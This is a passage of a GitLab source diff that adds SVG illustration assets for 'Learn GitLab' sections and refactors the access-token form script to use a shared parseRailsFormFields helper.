+<path fill-rule="evenodd" clip-rule="evenodd" d="M35.2883 29.0967C35.3928 29.1234 35.4977 29.054 35.5225 28.9418C35.5472 28.8293 35.4828 28.7165 35.3783 28.6898C35.0044 28.5945 34.6348 28.4834 34.2703 28.3567C34.1683 28.3212 34.0587 28.3812 34.0254 28.4912C33.9923 28.601 34.0483 28.7189 34.1505 28.7545C34.5248 28.8846 34.9044 28.9987 35.2883 29.0965V29.0967ZM37.7828 29.48C37.8875 29.4875 37.9775 29.3959 37.9841 29.2753C37.9907 29.1545 37.9111 29.0508 37.8066 29.0432C37.4321 29.0161 37.0589 28.9735 36.6879 28.9155C36.584 28.8992 36.4885 28.9831 36.4744 29.1028C36.4604 29.2226 36.5329 29.3327 36.6369 29.349C37.0169 29.4085 37.3993 29.4522 37.783 29.48H37.7828ZM40.464 29.2169C40.568 29.2065 40.6417 29.1305 40.6286 29.0468C40.6158 28.9635 40.5211 28.9041 40.4174 28.9145C40.0551 28.9508 39.6817 28.975 39.3005 28.9867C39.1958 28.9899 39.1144 29.0608 39.1185 29.1449C39.1225 29.229 39.2105 29.2946 39.3151 29.2912C39.6988 29.2795 40.082 29.2548 40.464 29.2169ZM43.156 28.7148C43.2562 28.6732 43.3026 28.5606 43.2599 28.4631C43.2385 28.4159 43.1995 28.379 43.1513 28.3601C43.1031 28.3412 43.0494 28.3419 43.0016 28.362C42.6464 28.5079 42.2817 28.6294 41.9099 28.7254C41.8852 28.7315 41.862 28.7424 41.8416 28.7575C41.8212 28.7727 41.804 28.7918 41.7911 28.8136C41.7781 28.8355 41.7696 28.8597 41.7662 28.8849C41.7627 28.9101 41.7643 28.9357 41.7708 28.9603C41.7991 29.0627 41.9071 29.1234 42.0121 29.0958C42.4018 28.9951 42.784 28.8678 43.1562 28.7148H43.156ZM45.326 26.9135C45.3812 26.8313 45.354 26.7234 45.2656 26.6721C45.1767 26.6211 45.0601 26.6461 45.0049 26.7283C44.8241 26.9974 44.5845 27.2449 44.2899 27.4691C44.2709 27.4827 44.255 27.5003 44.2433 27.5205C44.2316 27.5407 44.2242 27.5632 44.2218 27.5864C44.2193 27.6097 44.2218 27.6332 44.229 27.6554C44.2362 27.6777 44.2481 27.6981 44.2638 27.7155C44.3299 27.7903 44.449 27.8011 44.5299 27.7397C44.8555 27.4921 45.1225 27.216 45.326 26.9135ZM46.8046 25.0747C46.8407 25.0429 46.8628 24.998 46.866 24.9499C46.8692 24.9018 46.8532 24.8544 46.8216 24.8181C46.8059 24.8001 46.7869 24.7854 46.7655 24.7748C46.7441 24.7642 46.7209 24.758 46.6971 24.7564C46.6733 24.7548 46.6494 24.7579 46.6268 24.7656C46.6043 24.7733 46.5834 24.7853 46.5655 24.8011C46.2859 25.0458 46.0227 25.3086 45.7775 25.5878C45.7458 25.6241 45.7297 25.6716 45.7329 25.7197C45.736 25.7678 45.7581 25.8127 45.7943 25.8446C45.8122 25.8604 45.833 25.8724 45.8556 25.8801C45.8781 25.8878 45.902 25.891 45.9257 25.8894C45.9495 25.8878 45.9728 25.8816 45.9941 25.871C46.0155 25.8604 46.0345 25.8458 46.0502 25.8278C46.2849 25.5606 46.5368 25.309 46.8044 25.0747H46.8046ZM49.036 23.5975C49.126 23.5489 49.1602 23.4354 49.1125 23.3439C49.1015 23.3222 49.0862 23.303 49.0676 23.2873C49.049 23.2716 49.0275 23.2598 49.0043 23.2526C48.9811 23.2453 48.9566 23.2428 48.9324 23.2451C48.9082 23.2474 48.8847 23.2545 48.8633 23.266C48.5322 23.4443 48.2091 23.6372 47.8952 23.8441C47.8099 23.9004 47.7856 24.0167 47.8409 24.1036C47.8965 24.1905 48.0106 24.2151 48.096 24.1588C48.4009 23.9579 48.7145 23.7706 49.036 23.5975ZM51.454 22.4735C51.5579 22.4415 51.6148 22.3367 51.581 22.239C51.5471 22.1411 51.4354 22.0878 51.3315 22.1195C50.9508 22.236 50.5742 22.3654 50.2024 22.5077C50.1011 22.5464 50.0523 22.6551 50.0935 22.7501C50.1347 22.8454 50.2504 22.8911 50.3517 22.8524C50.7147 22.7135 51.0823 22.5872 51.454 22.4735Z" fill="#EEEEEE"/>
+<path d="M27.7796 18.3307C28.3014 18.3307 28.7244 17.9076 28.7244 17.3858C28.7244 16.864 28.3014 16.4409 27.7796 16.4409C27.2577 16.4409 26.8347 16.864 26.8347 17.3858C26.8347 17.9076 27.2577 18.3307 27.7796 18.3307Z" fill="white" stroke="#EEEEEE"/>
+<path d="M45.3543 27.4016C45.8761 27.4016 46.2992 26.9786 46.2992 26.4567C46.2992 25.9349 45.8761 25.5118 45.3543 25.5118C44.8325 25.5118 44.4094 25.9349 44.4094 26.4567C44.4094 26.9786 44.8325 27.4016 45.3543 27.4016Z" fill="white" stroke="#EEEEEE"/>
+<path d="M4.16876 10.9607C4.16876 10.9607 0.867338 17.1969 1.90104 20.9764C2.93474 24.756 5.11364 27.0237 9.08214 29.2914C13.0506 31.5591 15.2125 28.3465 20.5984 30.4253C25.9842 32.504 26.0787 38.5513 26.0787 38.5513" stroke="#B5A7DD" stroke-width="0.4" stroke-linecap="round" stroke-dasharray="8 10"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M49.8898 47.6221C49.8898 39.5857 43.375 33.0709 35.3386 33.0709C27.3022 33.0709 20.7874 39.5857 20.7874 47.6221" fill="white"/>
+<path d="M49.8898 47.6221C49.8898 39.5857 43.375 33.0709 35.3386 33.0709C27.3022 33.0709 20.7874 39.5857 20.7874 47.6221" stroke="#EEEEEE" stroke-linecap="round"/>
+<path d="M41.1969 43.8425C42.8668 43.8425 44.2205 42.4888 44.2205 40.8189C44.2205 39.149 42.8668 37.7953 41.1969 37.7953C39.527 37.7953 38.1732 39.149 38.1732 40.8189C38.1732 42.4888 39.527 43.8425 41.1969 43.8425Z" stroke="#EEEEEE"/>
+<path d="M28.8189 40.441C29.7061 40.441 30.4252 39.7218 30.4252 38.8347C30.4252 37.9476 29.7061 37.2284 28.8189 37.2284C27.9318 37.2284 27.2126 37.9476 27.2126 38.8347C27.2126 39.7218 27.9318 40.441 28.8189 40.441Z" stroke="#EEEEEE"/>
+<path d="M24.9449 44.9764C25.4667 44.9764 25.8898 44.5534 25.8898 44.0316C25.8898 43.5097 25.4667 43.0867 24.9449 43.0867C24.423 43.0867 24 43.5097 24 44.0316C24 44.5534 24.423 44.9764 24.9449 44.9764Z" stroke="#EEEEEE"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M45.703 3.43286L46.1389 3.54966C46.346 2.7768 47.1318 2.3159 47.8939 2.5201L48.0123 2.078C47.0096 1.80933 45.9757 2.416 45.7032 3.43291L45.703 3.43286Z" fill="#FC8A51"/>
+<path d="M47.9471 2.61347C48.1478 2.66723 48.3546 2.54588 48.4091 2.34244C48.4636 2.139 48.3452 1.93051 48.1445 1.87675C47.9439 1.823 47.7371 1.94434 47.6826 2.14778C47.6281 2.35122 47.7465 2.55972 47.9471 2.61347Z" fill="#FC8A51"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M45.412 3.35511L44.9761 3.23831C45.1832 2.46545 44.7332 1.67342 43.9711 1.46921L44.0896 1.02711C45.0922 1.29577 45.6843 2.33814 45.4119 3.35506L45.412 3.35511Z" fill="#FC8A51"/>
+<path d="M43.8787 1.52354C43.6781 1.46979 43.5597 1.26129 43.6142 1.05785C43.6687 0.854411 43.8755 0.733068 44.0761 0.786823C44.2768 0.840578 44.3952 1.04908 44.3407 1.25252C44.2862 1.45596 44.0794 1.5773 43.8787 1.52354Z" fill="#FC8A51"/>
+<path d="M47.8422 7.79545L46.7544 7.50399C46.6536 7.47698 46.55 7.5368 46.523 7.63762C46.496 7.73843 46.5558 7.84205 46.6566 7.86907L47.7444 8.16052C47.8452 8.18754 47.9488 8.12771 47.9758 8.0269C48.0028 7.92608 47.943 7.82246 47.8422 7.79545Z" fill="#FC8A51"/>
+<path d="M47.4759 9.27595L46.5007 8.7129C46.4103 8.66071 46.2947 8.69168 46.2425 8.78207C46.1904 8.87245 46.2213 8.98803 46.3117 9.04021L47.287 9.60327C47.3773 9.65545 47.4929 9.62448 47.5451 9.5341C47.5973 9.44371 47.5663 9.32813 47.4759 9.27595Z" fill="#FC8A51"/>
+<path d="M48.1795 6.35876L47.0534 6.35876C46.949 6.35876 46.8644 6.44337 46.8644 6.54774C46.8644 6.65211 46.949 6.73671 47.0534 6.73671L48.1795 6.73671C48.2839 6.73671 48.3685 6.6521 48.3685 6.54774C48.3685 6.44337 48.2839 6.35876 48.1795 6.35876Z" fill="#FC8A51"/>
+<path d="M41.3783 6.06356L42.4661 6.35502C42.5669 6.38203 42.6267 6.48565 42.5997 6.58647C42.5727 6.68728 42.469 6.74711 42.3682 6.72009L41.2805 6.42863C41.1797 6.40162 41.1198 6.298 41.1469 6.19719C41.1739 6.09637 41.2775 6.03655 41.3783 6.06356Z" fill="#FC8A51"/>
+<path d="M40.9549 7.52856L42.081 7.52856C42.1854 7.52856 42.27 7.61317 42.27 7.71754C42.27 7.82191 42.1854 7.90651 42.081 7.90651L40.9549 7.90651C40.8506 7.90651 40.7659 7.8219 40.7659 7.71754C40.7659 7.61317 40.8505 7.52856 40.9549 7.52856Z" fill="#FC8A51"/>
+<path d="M41.8041 4.65032L42.7794 5.21337C42.8698 5.26556 42.9007 5.38113 42.8485 5.47152C42.7964 5.5619 42.6808 5.59287 42.5904 5.54069L41.6151 4.97763C41.5248 4.92545 41.4938 4.80987 41.546 4.71949C41.5982 4.6291 41.7137 4.59813 41.8041 4.65032Z" fill="#FC8A51"/>
+<path d="M47.3515 6.28652C47.7063 4.96254 46.9206 3.60168 45.5967 3.24693C44.2728 2.89219 42.912 3.6779 42.5572 5.00187L42.1051 6.68907C41.7504 8.01304 42.536 9.3739 43.86 9.72865C45.1839 10.0834 46.5447 9.29768 46.8995 7.97371L47.3515 6.28652Z" stroke="#FC8A51"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M42.7135 5.00037L47.0721 6.16826L46.9254 6.71587L42.5668 5.54798L42.7135 5.00037Z" fill="#FC8A51"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M17.4662 2.50359L17.1869 2.57842C17.1557 2.46241 17.1019 2.35369 17.0286 2.25847C16.9554 2.16325 16.8641 2.0834 16.7599 2.02348C16.6558 1.96355 16.5409 1.92474 16.4217 1.90924C16.3026 1.89374 16.1816 1.90187 16.0656 1.93316L15.9909 1.6546C16.634 1.48229 17.2944 1.86252 17.4662 2.50359Z" fill="#EEEEEE"/>
+<path d="M16.0312 1.99224C15.9025 2.02671 15.7704 1.95069 15.736 1.82246C15.7017 1.69423 15.7781 1.56233 15.9067 1.52786C16.0354 1.4934 16.1675 1.56941 16.2019 1.69764C16.2362 1.82587 16.1598 1.95777 16.0312 1.99224Z" fill="#EEEEEE"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M17.6526 2.45366L17.9318 2.37883C17.9009 2.26274 17.8931 2.14169 17.909 2.02259C17.9248 1.9035 17.964 1.78869 18.0242 1.68473C18.0844 1.58076 18.1645 1.48969 18.2599 1.4167C18.3554 1.3437 18.4642 1.29023 18.5804 1.25932L18.5057 0.980773C17.8626 1.15308 17.4808 1.81259 17.6526 2.45366Z" fill="#EEEEEE"/>
+<path d="M18.6393 1.29344C18.7679 1.25898 18.8444 1.12708 18.81 0.998847C18.7756 0.870613 18.6435 0.794601 18.5149 0.82907C18.3862 0.863538 18.3098 0.995433 18.3442 1.12367C18.3785 1.2519 18.5107 1.32791 18.6393 1.29344Z" fill="#EEEEEE"/>
+<path d="M16.1505 5.24482L16.7167 5.0931C16.8175 5.06609 16.9211 5.12591 16.9481 5.22673C16.9752 5.32754 16.9153 5.43116 16.8145 5.45817L16.2483 5.60989C16.1475 5.63691 16.0439 5.57708 16.0168 5.47627C15.9898 5.37546 16.0497 5.27183 16.1505 5.24482Z" fill="#EEEEEE"/>
+<path d="M16.3578 6.1703L16.8655 5.8772C16.9559 5.82502 17.0714 5.85599 17.1236 5.94637C17.1758 6.03676 17.1448 6.15233 17.0545 6.20452L16.5468 6.49762C16.4564 6.5498 16.3408 6.51883 16.2886 6.42845C16.2365 6.33806 16.2674 6.22249 16.3578 6.1703Z" fill="#EEEEEE"/>
+<path d="M15.9573 4.35278L16.5435 4.35278C16.6479 4.35278 16.7325 4.43739 16.7325 4.54176C16.7325 4.64613 16.6479 4.73074 16.5435 4.73074L15.9573 4.73074C15.853 4.73074 15.7684 4.64613 15.7684 4.54176C15.7684 4.43739 15.853 4.35278 15.9573 4.35278Z" fill="#EEEEEE"/>
+<path d="M20.1626 4.16985L19.5964 4.32157C19.4956 4.34859 19.4357 4.45221 19.4628 4.55302C19.4898 4.65383 19.5934 4.71366 19.6942 4.68665L20.2604 4.53493C20.3612 4.50791 20.4211 4.40429 20.3941 4.30348C20.367 4.20267 20.2634 4.14284 20.1626 4.16985Z" fill="#EEEEEE"/>
+<path d="M20.4451 5.07507L19.8589 5.07507C19.7545 5.07507 19.6699 5.15968 19.6699 5.26405C19.6699 5.36842 19.7545 5.45303 19.8589 5.45303L20.4451 5.45303C20.5494 5.45303 20.634 5.36842 20.634 5.26405C20.634 5.15968 20.5494 5.07507 20.4451 5.07507Z" fill="#EEEEEE"/>
+<path d="M19.8834 3.30076L19.3757 3.59387C19.2853 3.64605 19.2543 3.76163 19.3065 3.85201C19.3587 3.9424 19.4743 3.97337 19.5647 3.92118L20.0723 3.62808C20.1627 3.5759 20.1937 3.46032 20.1415 3.36993C20.0893 3.27955 19.9737 3.24858 19.8834 3.30076Z" fill="#EEEEEE"/>
+<path d="M17.5341 2.38566L17.5343 2.38561C18.3829 2.15821 19.2552 2.66184 19.4826 3.51048L19.7541 4.52356C19.9815 5.3722 19.4778 6.24449 18.6292 6.47189L18.629 6.47193C17.7804 6.69933 16.9081 6.19571 16.6807 5.34707L16.4092 4.33398C16.1819 3.48534 16.6855 2.61305 17.5341 2.38566Z" stroke="#EEEEEE"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M19.3759 3.48474L16.582 4.23337L16.6798 4.59844L19.4737 3.84982L19.3759 3.48474Z" fill="#EEEEEE"/>
+<path d="M1.98426 23.0551C2.87139 23.0551 3.59056 22.336 3.59056 21.4488C3.59056 20.5617 2.87139 19.8425 1.98426 19.8425C1.09712 19.8425 0.37796 20.5617 0.37796 21.4488C0.37796 22.336 1.09712 23.0551 1.98426 23.0551Z" fill="white" stroke="#B5A7DD" stroke-width="0.4"/>
+<path d="M32.7874 24.9449C33.4658 24.9449 34.0158 24.3949 34.0158 23.7165C34.0158 23.0381 33.4658 22.4882 32.7874 22.4882C32.109 22.4882 31.5591 23.0381 31.5591 23.7165C31.5591 24.3949 32.109 24.9449 32.7874 24.9449Z" fill="white"/>
+<path d="M10.1102 31.9371C11.4148 31.9371 12.4724 30.8795 12.4724 29.5749C12.4724 28.2702 11.4148 27.2126 10.1102 27.2126C8.80561 27.2126 7.74802 28.2702 7.74802 29.5749C7.74802 30.8795 8.80561 31.9371 10.1102 31.9371Z" fill="white" stroke="#6B4FBB"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M9.77635 29.759L9.44262 29.4251C9.38944 29.3719 9.31732 29.3421 9.24211 29.3421C9.16691 29.3421 9.09479 29.3719 9.04161 29.4251C8.98843 29.4783 8.95856 29.5504 8.95856 29.6256C8.95856 29.7008 8.98843 29.773 9.04161 29.8261L9.57566 30.3602H9.57585V30.3604C9.68734 30.4719 9.86592 30.4713 9.97629 30.3609L11.1801 29.1572C11.2328 29.1038 11.2623 29.0319 11.2622 28.9569C11.2621 28.8819 11.2324 28.8101 11.1795 28.7569C11.1533 28.7305 11.1222 28.7095 11.0879 28.6952C11.0535 28.6808 11.0167 28.6734 10.9795 28.6733C10.9423 28.6733 10.9055 28.6805 10.8711 28.6948C10.8368 28.709 10.8055 28.7298 10.7792 28.7561L9.77635 29.759Z" fill="#FC8A51"/>
+<path d="M32.7874 24.7559C33.4658 24.7559 34.0158 24.2059 34.0158 23.5275C34.0158 22.8491 33.4658 22.2992 32.7874 22.2992C32.109 22.2992 31.5591 22.8491 31.5591 23.5275C31.5591 24.2059 32.109 24.7559 32.7874 24.7559Z" fill="white" stroke="#FC8A51"/>
+<path d="M4.53541 11.3386C5.16162 11.3386 5.66926 10.831 5.66926 10.2048C5.66926 9.57857 5.16162 9.07092 4.53541 9.07092C3.9092 9.07092 3.40155 9.57857 3.40155 10.2048C3.40155 10.831 3.9092 11.3386 4.53541 11.3386Z" fill="white" stroke="#B5A7DD" stroke-width="0.4"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M35.9339 27.1363C37.5787 25.6725 38.0151 23.182 36.8527 21.1688C35.5261 18.8708 32.6187 18.0654 30.3591 19.3701C28.0993 20.6748 27.343 23.5953 28.6698 25.8932C29.8483 27.9342 32.2732 28.7978 34.3841 28.0513L36.4437 31.619C36.563 31.8259 36.7596 31.9769 36.9903 32.0389C37.2209 32.1008 37.4667 32.0686 37.6736 31.9493C37.8802 31.8297 38.0309 31.6329 38.0926 31.4023C38.1542 31.1716 38.1218 30.9259 38.0024 30.7191L35.9339 27.1363ZM34.34 26.2653C35.8248 25.4081 36.3218 23.4889 35.4499 21.9788C34.5782 20.4686 32.6676 19.9395 31.1828 20.7967C29.6978 21.6541 29.2008 23.5733 30.0726 25.0834C30.9445 26.5934 32.8551 27.1227 34.34 26.2653Z" fill="white" stroke="#B5A7DD" stroke-width="0.5"/>
+</g>
+<defs>
+<clipPath id="clip0">
+<rect width="80.315" height="48" fill="white"/>
+</clipPath>
+</defs>
+</svg>
diff --git a/app/assets/images/learn_gitlab/section_deploy.svg b/app/assets/images/learn_gitlab/section_deploy.svg
new file mode 100644
index 00000000000..187956a66db
--- /dev/null
+++ b/app/assets/images/learn_gitlab/section_deploy.svg
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg width="35px" height="34px" viewBox="0 0 35 34" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+ <!-- Generator: Sketch 64 (93537) - https://sketch.com -->
+ <title>Group</title>
+ <desc>Created with Sketch.</desc>
+ <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
+ <g id="Artboard" transform="translate(-463.000000, -393.000000)">
+ <g id="Group" transform="translate(463.000000, 393.000000)">
+ <path d="M19.3557,25.2338 C17.7369,25.9233 16.1619,26.1062 14.5861,25.6013 C13.996,26.033 13.2711,26.2395 12.5422,26.1834 C11.8132,26.1273 11.1284,25.8124 10.6114,25.2955 L8.75506,23.4392 C8.19927,22.8833 7.87849,22.1351 7.8591,21.3493 C7.83972,20.5635 8.12323,19.8003 8.65094,19.2177 C8.34425,17.8947 8.46763,16.5564 8.93356,15.1901 L6.183,14.1287 C5.81926,13.9884 5.49427,13.7633 5.23503,13.472 C4.9758,13.1808 4.7898,12.832 4.69251,12.4544 C4.59521,12.0769 4.58942,11.6816 4.67562,11.3013 C4.76182,10.9211 4.93753,10.5669 5.18813,10.2682 L8.79006,5.9759 C9.11841,5.5846 9.56087,5.3057 10.0555,5.1782 C10.5502,5.0508 11.0724,5.0811 11.5489,5.265 L15.0686,6.6234 C15.4064,6.2747 15.7529,5.9234 16.1073,5.5691 C19.6177,2.05856 24.1782,0.20312 29.7892,0.00275 C29.9524,-0.00304 30.1159,0.00032 30.2787,0.01281 C32.6881,0.19656 34.4919,2.29918 34.3077,4.7085 C33.8986,10.0569 31.957,14.4687 28.4824,17.9429 C28.2408,18.1846 27.9986,18.4257 27.7557,18.6661 L29.1763,22.3463 C29.3602,22.8229 29.3905,23.345 29.263,23.8397 C29.1355,24.3344 28.8566,24.7768 28.4653,25.1052 L24.1734,28.7071 C23.8748,28.9578 23.5206,29.1336 23.1403,29.2198 C22.76,29.3061 22.3646,29.3003 21.987,29.203 C21.6094,29.1057 21.2605,28.9197 20.9692,28.6604 C20.678,28.4011 20.4528,28.0761 20.3125,27.7122 L19.3557,25.2338 Z M9.32819,13.455 L13.8808,8.0291 L10.8962,6.8772 C10.7601,6.8247 10.611,6.816 10.4697,6.8524 C10.3284,6.8888 10.2021,6.9685 10.1082,7.0802 L6.50631,11.3725 C6.43473,11.4578 6.38455,11.559 6.35993,11.6677 C6.33532,11.7763 6.33699,11.8893 6.3648,11.9971 C6.39261,12.105 6.44576,12.2046 6.51983,12.2878 C6.59391,12.371 6.68676,12.4353 6.79069,12.4754 L9.32819,13.455 Z M20.9858,24.5675 L21.9654,27.105 C22.0055,27.2089 22.0699,27.3017 22.1531,27.3757 C22.2363,27.4498 22.336,27.5029 22.4438,27.5306 C22.5517,27.5584 22.6646,27.56 22.7732,27.5354 C22.8818,27.5107 22.983,27.4605 23.0683,27.3889 L27.3602,23.7874 C27.4721,23.6936 27.5518,23.5672 27.5883,23.4259 C27.6248,23.2845 27.6162,23.1353 27.5636,22.9991 L26.4117,20.0144 L20.9858,24.5675 Z M12.3714,22.1057 C16.2,25.9347 19.3999,24.55 27.2442,16.7056 C30.4161,13.5337 32.1845,9.5162 32.5621,4.5751 C32.5903,4.2067 32.5404,3.83648 32.4156,3.4887 C32.2909,3.14091 32.0942,2.82338 31.8383,2.55685 C31.5825,2.29033 31.2732,2.08082 30.9308,1.94203 C30.5884,1.80323 30.2205,1.73829 29.8513,1.75143 C24.6687,1.9365 20.5312,3.62 17.3449,6.8063 C9.89431,14.2569 8.41381,18.1481 12.3714,22.1057 Z" id="Shape" fill="#6E49CB"></path>
+ <path d="M22.9861,11.6834 C23.148,11.8489 23.341,11.9806 23.5541,12.071 C23.7672,12.1613 23.9962,12.2085 24.2276,12.2098236 C24.4591,12.211 24.6885,12.1664 24.9026,12.0784 C25.1166,11.9904 25.3111,11.8608 25.4748,11.6971 C25.6384,11.5334 25.768,11.3389 25.856,11.1248 C25.9439,10.9107 25.9885,10.6813 25.9872276,10.4499 C25.9859,10.2184 25.9387,9.9895 25.8483,9.7764 C25.7579,9.5633 25.6262,9.3703 25.4606,9.2085 C25.1325,8.8803 24.6873,8.6959 24.2232,8.6959 C23.759,8.6959 23.3139,8.8803 22.9857,9.2085 C22.6575,9.5367 22.4731,9.9818 22.4731,10.446 C22.4731,10.9101 22.6575,11.3552 22.9857,11.6834 L22.9861,11.6834 Z M21.748,12.9211 C21.423,12.5961 21.1651,12.2102 20.9892,11.7855 C20.8133,11.3608 20.7228,10.9056 20.7228,10.446 C20.7228,9.9863 20.8133,9.5311 20.9892,9.1064 C21.1651,8.6817 21.423,8.2958 21.748,7.9708 C22.0731,7.6458 22.4589,7.3879 22.8836,7.212 C23.3083,7.0361 23.7635,6.9456 24.2232,6.9456 C24.6829,6.9456 25.138,7.0361 25.5627,7.212 C25.9874,7.3879 26.3733,7.6458 26.6983,7.9708 C27.3482,8.6285 27.7113,9.5166 27.708615,10.4412 C27.7058,11.3658 27.3373,12.2517 26.6836,12.9055 C26.0298,13.5593 25.1439,13.9278 24.2194,13.9307161 C23.2948,13.9335 22.4067,13.5704 21.7489,12.9207 L21.748,12.9211 Z" id="Shape" fill="#C2B7E6" fill-rule="nonzero"></path>
+ <path d="M6.58996,23.1303 C6.754,23.2943 6.84615,23.5169 6.84615,23.7489 C6.84615,23.9809 6.754,24.2034 6.58996,24.3675 L1.64009,29.3165 C1.5594,29.4001 1.46287,29.4668 1.35614,29.5127 C1.2494,29.5586 1.13459,29.5828 1.01841,29.5838391 C0.902228,29.5849 0.787001,29.5628 0.679451,29.5188 C0.571902,29.4749 0.474183,29.4099 0.391998,29.3278 C0.309813,29.2457 0.244808,29.148 0.200774,29.0405 C0.15674,28.933 0.13456,28.8177 0.135497628,28.7016 C0.136497,28.5854 0.160594,28.4706 0.206414,28.3638 C0.252233,28.257 0.318858,28.1604 0.4024,28.0797 L5.35228,23.1298 C5.43353,23.0485 5.53001,22.984 5.63619,22.9401 C5.74237,22.8961 5.85618,22.8734 5.97112,22.8734 C6.08606,22.8734 6.19987,22.8961 6.30605,22.9401 C6.41223,22.984 6.50871,23.0485 6.58996,23.1298 L6.58996,23.1303 Z M10.9208,27.4611 C11.0848,27.6252 11.177,27.8477 11.177,28.0797 C11.177,28.3117 11.0848,28.5342 10.9208,28.6983 L7.20859,32.4105 C7.12735,32.4918 7.0309,32.5562 6.92474,32.6002 C6.81859,32.6442 6.70481,32.6669 6.5899,32.6669 C6.47499,32.6669 6.3612,32.6443 6.25503,32.6004 C6.14886,32.5564 6.05239,32.492 5.97112,32.4107 C5.88985,32.3295 5.82538,32.233 5.78139,32.1269 C5.7374,32.0207 5.71471999,31.9069 5.71471999,31.792 C5.71471999,31.6771 5.73731,31.5633 5.78127,31.4572 C5.82522,31.351 5.88966,31.2545 5.9709,31.1733 L9.68353,27.4611 C9.84761,27.297 10.0701,27.2049 10.3022,27.2049 C10.5342,27.2049 10.7567,27.297 10.9208,27.4611 L10.9208,27.4611 Z" id="Shape" fill="#E0DBF2"></path>
+ <path d="M8.75534,25.2954 C8.91937,25.4595 9.01152,25.682 9.01152,25.914 C9.01152,26.1461 8.91937,26.3686 8.75534,26.5327 L1.94959,33.3389 C1.78546,33.503 1.56286,33.5952 1.33074,33.5952 C1.09863,33.5952 0.876027,33.503 0.7119,33.3389 C0.547772,33.1747 0.455566,32.9521 0.455566,32.72 C0.455566,32.4879 0.547772,32.2653 0.7119,32.1012 L7.51809,25.2959 C7.68217,25.1318 7.90469,25.0397 8.13671,25.0397 C8.36873,25.0397 8.59125,25.1318 8.75534,25.2959 L8.75534,25.2954 Z" id="Path" fill="#C2B7E6"></path>
+ </g>
+ </g>
+ </g>
+</svg> \ No newline at end of file
diff --git a/app/assets/images/learn_gitlab/section_plan.svg b/app/assets/images/learn_gitlab/section_plan.svg
new file mode 100644
index 00000000000..2348e837e5f
--- /dev/null
+++ b/app/assets/images/learn_gitlab/section_plan.svg
@@ -0,0 +1 @@
+<svg width="40" height="40" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M3.343 6c.82 0 1.516.145 1.968.34.198.085.315.165.375.218v31.441a1.45 1.45 0 01-.375.218c-.452.195-1.148.34-1.968.34-.82 0-1.516-.145-1.968-.34A1.45 1.45 0 011 37.999V6.558c.06-.053.177-.133.375-.218C1.827 6.145 2.523 6 3.343 6z" fill="#EFEDF8" stroke="#6E49CB" stroke-width="2"/><path fill-rule="evenodd" clip-rule="evenodd" d="M6.686 6.41l21.724 6.692c2.085.642 2.122 1.774.095 2.523L6.686 23.69V6.412z" fill="#6E49CB"/></svg> \ No newline at end of file
diff --git a/app/assets/images/learn_gitlab/section_workspace.svg b/app/assets/images/learn_gitlab/section_workspace.svg
new file mode 100644
index 00000000000..5cb7fd36ddd
--- /dev/null
+++ b/app/assets/images/learn_gitlab/section_workspace.svg
@@ -0,0 +1 @@
+<svg width="40" height="40" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M14.544 6.44C14.816 5.58 15.581 5 16.442 5h1.116c.861 0 1.626.58 1.898 1.44l1.05 3.32c.744.238 1.456.55 2.13.93l2.974-1.566c.77-.405 1.7-.247 2.309.394l.79.832c.608.64.76 1.62.374 2.43l-1.486 3.131c.359.71.656 1.46.882 2.243l3.153 1.106c.817.287 1.368 1.091 1.368 1.998v1.176c0 .906-.55 1.71-1.368 1.998l-3.153 1.106a12.936 12.936 0 01-.882 2.242l1.486 3.131c.385.81.234 1.79-.374 2.43l-.79.832c-.609.641-1.539.8-2.309.395l-2.973-1.566c-.675.379-1.387.692-2.13.93l-1.051 3.32c-.272.86-1.037 1.44-1.898 1.44h-1.116c-.861 0-1.626-.58-1.898-1.44l-1.05-3.32a11.604 11.604 0 01-2.13-.93L8.39 34.569c-.77.406-1.7.247-2.309-.395l-.79-.831a2.189 2.189 0 01-.374-2.43l1.487-3.131c-.36-.71-.657-1.46-.883-2.243l-3.153-1.106C1.55 24.145 1 23.34 1 22.434v-1.176c0-.906.55-1.711 1.368-1.998l3.153-1.106c.226-.783.523-1.533.883-2.243l-1.487-3.13a2.19 2.19 0 01.374-2.431l.79-.832c.609-.64 1.539-.8 2.309-.394l2.973 1.565a11.599 11.599 0 012.13-.93l1.051-3.32zM17 30.269c4.418 0 8-3.771 8-8.423s-3.582-8.423-8-8.423-8 3.771-8 8.423 3.582 8.423 8 8.423z" fill="#EFEDF8" stroke="#6E49CB" stroke-width="2"/><path d="M17 27.11c2.762 0 5-2.357 5-5.264 0-2.908-2.238-5.265-5-5.265-2.76 0-5 2.357-5 5.265 0 2.907 2.24 5.264 5 5.264z" stroke="#6E49CB" stroke-linecap="round"/></svg> \ No newline at end of file
diff --git a/app/assets/javascripts/access_tokens/index.js b/app/assets/javascripts/access_tokens/index.js
index 43d56295f78..7f5f0403de6 100644
--- a/app/assets/javascripts/access_tokens/index.js
+++ b/app/assets/javascripts/access_tokens/index.js
@@ -1,20 +1,10 @@
import Vue from 'vue';
import createFlash from '~/flash';
+import { parseRailsFormFields } from '~/lib/utils/forms';
import { __ } from '~/locale';
import ExpiresAtField from './components/expires_at_field.vue';
-const getInputAttrs = (el) => {
- const input = el.querySelector('input');
-
- return {
- id: input.id,
- name: input.name,
- value: input.value,
- placeholder: input.placeholder,
- };
-};
-
export const initExpiresAtField = () => {
const el = document.querySelector('.js-access-tokens-expires-at');
@@ -22,7 +12,7 @@ export const initExpiresAtField = () => {
return null;
}
- const inputAttrs = getInputAttrs(el);
+ const { expiresAt: inputAttrs } = parseRailsFormFields(el);
return new Vue({
el,
@@ -43,7 +33,7 @@ export const initProjectsField = () => {
return null;
}
- const inputAttrs = getInputAttrs(el);
+ const { projects: inputAttrs } = parseRailsFormFields(el);
if (window.gon.features.personalAccessTokensScopedToProjects) {
